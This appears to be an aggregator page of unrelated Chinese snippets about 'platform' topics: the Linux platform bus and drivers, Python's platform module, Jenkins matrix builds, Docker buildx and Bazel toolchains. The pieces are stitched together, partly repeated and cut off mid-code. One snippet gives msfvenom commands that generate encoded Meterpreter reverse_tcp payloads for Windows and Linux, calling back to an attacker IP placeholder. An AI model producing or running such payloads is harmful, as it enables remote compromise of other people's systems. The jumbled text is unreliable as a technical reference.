设备总线驱动模型:http://blog.csdn.net/lizuobin2/article/details/51570196
platform是一条虚拟的总线。设备用platform_device表示,驱动用platform_driver进行注册,Linux platform driver机制和传统的device driver机制(通过driver_register进行注册)相比,一个明显的优势在于platform机制将设备本身的资源注册进内核,由内核统一管理,在驱动中使用这些资源时通过platform device提供的标准结构进行申请并使用。这样提高了驱动和资源的独立性,并且具有较好的可移植性和安全性(这些标准接口是安全的)。
我经常发现自己需要在一堆不同的配置上执行相同的操作。到目前为止,意味着我需要在流水线上的同一阶段制作多个副本。当我需要修改时,必须在整个流水线的多个地方做相同的修改。对于一个更大型的流水线来说,即便维护很少的配置也会变得困难。声明式流水线1.5.0-beta1(可以从 Jenkins 实验性更新中心获取)添加了一个新的 matrix 部分,该部分能让我一次指定一个阶段列表,然后在多个配置上并行运行同一列表。让我们来看一看!
Linux内核的作用是将应用程序的请求传递给硬件,并充当底层驱动程序,对系统中的各种设备和组件进行寻址。目前支持模块的动态装卸(裁剪)。Linux内核就是基于这个策略实现的。
platform总线是在linux 2.6 内核中加入的一种虚拟总线。platform机制有两部分组成platform_device和platform_driver.
搜了一天,竟然没找到一段合适的代码来获取机器中所有网卡的ip,掩码和广播地址,大部分都是用socket,但是socket通常返回的要不就是内网地址,要不就是公网地址,不能够找到所有地址,真的太忧桑了,决定自己通过ifconfig或ipconfig的返回信息,一步步地过滤了。这次的代码主要用到了正则表达式和subprocess模块,而且为了兼容所有平台(win,linux和mac),也用到了platform来判断系统类型,不说太多,代码如下: ---- import subprocess import re
在实际项目中有时候不知道操作系统的类型,比如是Windows、OS X、*Unix?而Python代码虽说是跨平台(CrossPlatform)的,但是毕竟他们还是有些不同的,有的函数方法只能在某些操作系统下实现,这时考虑到程序的可移植性,需要在代码中对当前所在的操作系统做一个判断。
获取系统信息 >>> import platform # 导入platform模块 >>> platform.platform() # 获取操作系统名称及版本号 'Linux-3.10.0-514.el7.x86_64-x86_64-with-centos-7.3.1611-Core' >>> platform.system() # 获取操作系统 'Linux' >>> platform.version() # 获取操作系统版本号 '#1 SMP Tue Nov 22 16:42:41 UTC 2016'
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摘要总结:本文主要介绍了如何基于Linux开发一个简单的字符设备驱动,并通过驱动程序实现LED灯的开关控制。包括驱动程序的注册与卸载、设备文件的创建与删除、设备文件的打开与关闭,以及通过用户空间和内核空间进行数据传递和交互的方法。
1.从技术层面讲,内核是硬件与软件之间的一个中间层。作用是将应用层序的请求传递给硬件,并充当底层驱动程序,对系统中的各种设备和组件进行寻址。
python读取系统信息的一些方法,在此记录一下,方便尔后查询。 platform模块 root@cubieboard:~# python Python 2.7.3 (default, Mar 14 2014, 17:55:54) [GCC 4.6.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import platform >>> platform.version() '
Matrix 项目的概念是在不同的版本中测试多种类型的相似技术。Matrix构建相互独立,因此可以并行运行。例如,可能要跨多个Java版本构建其项目测试。
import platform def get_system_Platform(): print ('system and bit'.center(40,'-')) print(platform.architecture()) print '\n'*3 print ('system and deatial'.center(40,'-')) print(platform.platform()) print '\n'*3 print ('
如果整个2.1节都没理解也没关系,记住我们有了一个grpc_event_engine_vtable* g_event_engine指针就可以了,这个指针的内容就是上面的static const grpc_event_engine_vtable vtable
通过前两篇文章的介绍,我们已经把linux内核移植到了tiny210上,但是看到的现象都是通过超级终端来观察的,下面了,我们介绍一下led灯的移植,给大家一个更直观的感受。这篇文章主要的内容如下:
交叉编译是为了在不同平台编译出其他平台的程序,比如在Linux编译出Windows程序,在Windows能编译出Linux程序,32位系统下编译出64位程序,今天介绍的gox就是其中一款交叉编译工具。
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platform模块可以获取操作系统的相关信息。 >>> platform.system() #获取系统名称 'Linux' >>> platform.architecture() #获取系统位数 ('64bit', 'ELF') >>> platform.platform() #获取操作系统名称及版本号 'Linux-2.6.32-696.6.3.el6.x86_64-x86_64-with-centos-6.8-Final' >>> platform.uname() #
.NET 团队有一篇博客 改进多平台容器支持, 详细介绍了.NET 7 以上的平台可以轻松的使用Docker buildx 工具构建多平台的镜像。 buildx 是 Docker 官方提供的一个构建工具,它可以帮助用户快速、高效地构建 Docker 镜像,并支持多种平台的构建。使用 buildx,用户可以在单个命令中构建多种架构的镜像,例如 x86 和 ARM 架构,而无需手动操作多个构建命令。此外,buildx 还支持 Dockerfile 的多阶段构建和缓存,这可以大大提高镜像构建的效率和速度。
本文会讲述 Bazel 自定义工具链的两种方式,Platform 和 Non-Platform 方式。会存在这两种方式的原因是 Bazel 的历史问题。例如,C++ 相关规则使用 --cpu 和 --crosstool_top 来设置一个构建目标 CPU 和 C++ 工具链,这样就可以实现选择不同的工具链构建 C++ 项目。但是这都不能正确地表达出“平台”特征。使用这种方式不可避免地导致出现了笨拙且不准确的构建 APIs。这其中导致了对 Java 工具链基本没有涉及,Java 工具链就发展了他们自己的独立接口 --java_toolchain。因此非平台方式(Non-Platform)的自定义工具链实现并没有统一的 APIs 来规范不同语言的跨平台构建。而 Bazel 的目标是在大型、混合语言、多平台项目中脱颖而出。这就要求对这些概念有更原则的支持,包括清晰的 APIs,这些 API 绑定而不是分散语言和项目。这就是新平台(platform)和工具链(toolchain) APIs 所实现的内容。
由于我的电脑 装Ubuntu 的时候电脑里只有一个Windows 系统,所以Ubuntu就自动将我Windows的启动项添加进取。
更换PetaLinux工程的HDF/XSA文件后,PetaLinux工程编译出现FSBL do_configureh错误。使用命令“petalinux-build -x mrproper -f ”,彻底清除工程,再编译工程,不再有问题。
上次跟大家分享了设备模型的一些东西,包括总线、设备、驱动等的一些概念,还有他们之间的联系。今天要分享的是platform总线驱动,platform总线是总线的一种,这是相对于物理总线来说的,这是一种虚拟的总线。
作用是将应用层序的请求传递给硬件,并充当底层驱动程序,对系统中的各种设备和组件进行寻址。目前支持模块的动态装卸(裁剪)。Linux内核就是基于这个策略实现的。Linux进程1.采用层次结构,每个进程都依赖于一个父进程。内核启动init程序作为第一个进程。该进程负责进一步的系统初始化操作。init进程是进程树的根,所有的进程都直接或者间接起源于该进程。virt/ —- 提供虚拟机技术的支持。
('Linux', 'gitlab.test.com', '3.10.0-327.el7.x86_64', '#1 SMP Thu Nov 19 22:10:57 UTC 2015', 'x86_64', 'x86_64')
作用是将应用层序的请求传递给硬件,并充当底层驱动程序,对系统中的各种设备和组件进行寻址。目前支持模块的动态装卸(裁剪)。Linux内核就是基于这个策略实现的。Linux进程1.采用层次结构,每个进程都依赖于一个父进程。内核启动init程序作为第一个进程。该进程负责进一步的系统初始化操作。init进程是进程树的根,所有的进程都直接或者间接起源于该进程。virt/ ---- 提供虚拟机技术的支持。
According to the GNU convention, there are three platforms involved in the software building:
Android Debug Bridge,安卓调试桥,它借助adb.exe(Android SDK安装目录platform-tools下),用于电脑端与模拟器或者真实设备交互;使用adb命令需安装Android SDK,并配置环境变量;
text-generation-webui 是一个基于Gradio的LLM Web UI开源项目,可以利用其快速搭建各种文本生成的大模型环境。
来自: http://www.diybl.com/course/6_system/linux/Linuxjs/200871/129585.html
在工作中,遇到了需要将应用程序打包成 Docker 镜像并同时运行在不同的 CPU 架构(X86 和 ARM)的环境中。
获取到int类型的gpio口后,就可以使用linux/gpio.h里的gpio口操作函数:
"原子操作(atomic operation)是不需要synchronized",这是多线程编程的老生常谈了。所谓原子操作是指不会被线程调度机制打断的操作;这种操作一旦开始,就一直运行到结束,中间不会有任何 context switch (切换到另一个线程)。
① 实例化platform_driver结构体probe成员 ② 实例化platform_driver结构体remove成员 ③ 选择一种方式匹配(设备树,ACPI,名字,ID四选一)
之前我写过的两篇博客《conan入门(十):Windows下Android NDK交叉编译Boost》,.《conan入门(十一):Linux下Android NDK交叉编译Boost》中介绍了在Linux和Windows下NDK交叉编译boost的过程
做Linux方面也有三个多月了,对代码中的有些结构一直不是非常明确,比方platform_device与platform_driver一直分不清关系。在网上搜了下,做个总结。两者的工作顺序是先定义platform_device -> 注冊 platform_device->,再定义 platform_driver-> 注冊 platform_driver。
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在这篇博客中,我们将讨论如何在M1芯片的Mac上构建多平台的Docker镜像。我们将使用Docker的buildx命令,这是一个实验性的功能,用于启用对多平台镜像的构建。
FFmpeg是音视频领域绕不过去的开源库,编译FFmpeg是音视频开发的基本功,FFmpeg就像一个音视频开源框架,很多的开源库都像插件一样作为FFmpeg的子模块,例如openssl、x264、x265、fdk-aac等等库都可以通过插件的形式编译进FFmpeg开源项目中。本文主要的目的是介绍一下FFmpeg的编译过程,以及如何将这些插件编译进FFmpeg中。
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
最近在开发一个运行在不同PC上的agent,agent启动时需要向server注册自己,我暂定注册信息包含:MAC地址、IP、主机名。
[导读] 前文分析了Linux设备驱动的驱动模型,本文来聊聊Platform_driver/Platform_device这个类。做嵌入式Linux的驱动,这个也是绕不开的,所以来学习分析总结一下。
从Linux 2.6起引入了一套新的驱动管理和注册机制:Platform_device和Platform_driver。
原文出自:http://blog.csdn.net/ghostyu/article/details/6908805
陪伴了我 3 年的 Mac 在几个月前迎来了它的退休时刻,我将其置换成了公司新发的 Mac M1。对电子产品并不太感冒的我,并没有意识到 M1 是 ARM 架构的(除了个别软件的安装异常之外),显然,Mac M1 做地是不错的,我并没有太多吐槽它的机会。这也是我第一次近距离接触 ARM 架构的机会。
1) 提供友好的用户接口,用户可以在sys/bus/platform/下找到相应的驱动和设备。
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